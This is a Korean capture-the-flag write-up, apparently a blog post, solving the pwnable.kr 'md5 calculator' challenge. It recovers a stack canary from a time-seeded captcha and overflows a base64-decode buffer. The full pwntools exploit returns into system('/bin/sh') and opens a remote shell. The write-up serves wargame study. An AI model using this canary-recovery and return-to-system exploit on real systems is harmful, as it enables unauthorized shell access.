Pwnstar
Pwnable.kr md5 calulator 본문
이번 문제는 32비트에 카나리와 nx bit가 걸려있다.
IDA로 분석해본 결과
canary는 ebp-0xc에 위치해 있으며 처음에 입력받는capcha의 계산에도 쓰인다.
즉, capcha의 값을 역연산하여 canary의 값을 구할 수 있다. 또한 입력은 1024바이트만큼 가능한데, 전역변수에 입력받은 값을 base64로 decode 해서 로컬변수에 저장하는 과정에서 사이즈 차이 때문에 오버플로우가 발생할 수 있다.
우선 오버플로우를 일으키기 위해서 기본적으로 알아야하는 카나리의 값을 구해보자.
위의 식을 역연산하면
canary = capcha - v6 + v8 - v9 - v4 + v5 - v3 - v7
이 될 것이다.
우선 이 배열들은
이 함수들을 통해서 가져온 랜덤 값이므로 동일한 코드를 짜서 값을 가져온다.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int t();
int t(){
srand(time(0));
int a = rand();
return a;
}
계산된 카나리의 값을 보면 하위 1바이트가 \x00인것을 보니 카나리 값 같다.
이 부분을 통해 우리는 dummy*512 + canary + dummy*12 이후에 들어오는 값으로 eip를 컨트롤 가능하다는 것을 알 수 있다.
이제 페이로드를 작성하고 그 페이로드를 base64로 인코딩해서 입력해줘야한다.
ex.py
from pwn import*
from ctypes import*
import base64
import time
from ctypes.util import find_library
libc = CDLL(find_library('tm.so'))
libc.srand(libc.time(0))
#t = int(time.time())
system = 0x8048880
bss = 0x804B0E0+0x2d0
r = remote("pwnable.kr", 9002)
#r = process("./hash")
r.recvuntil("Are you human? input captcha : ")
capcha = r.recvuntil("\n")
r.send(capcha)
r.recvuntil("Encode your data with BASE64 then paste me!\n")
val = [libc.rand() for i in range(8)]
log.info("capcha = " + str(capcha))
canary = int(capcha) - val[5] - val[1] + val[3] - val[2] - val[7] + val[6] - val[4]
canary = canary & 0xffffffff
log.info("canary = " + hex(canary))
#binsh = "/bin/sh\x00"
string = "A" * (0x200)
string += p32(canary)
string += "A"*12
string += p32(system)
string += "A"*4
string += p32(bss)
b64 = base64.encodestring(string).replace('\n', '') + "/bin/sh\x00"
#log.info("input(" + string + ") = " + b64)
log.info("base64 length = " + str(len(b64)))
payload = b64
#payload = string
r.sendline(b64)
log.info(r.recv(1024))
r.interactive()
이렇게 작성해서 보내면
성공이다
'Pwnable.kr > Rookiss' 카테고리의 다른 글
Pwnable.kr tiny_easy (0) | 2020.06.25 |
---|---|
Pwnable.kr dragon (0) | 2020.06.16 |
Pwnable.kr ascii_easy (0) | 2020.06.16 |
Pwnable.kr simple login (0) | 2020.06.10 |
Pwnable.kr brain fuck (0) | 2020.03.24 |
Comments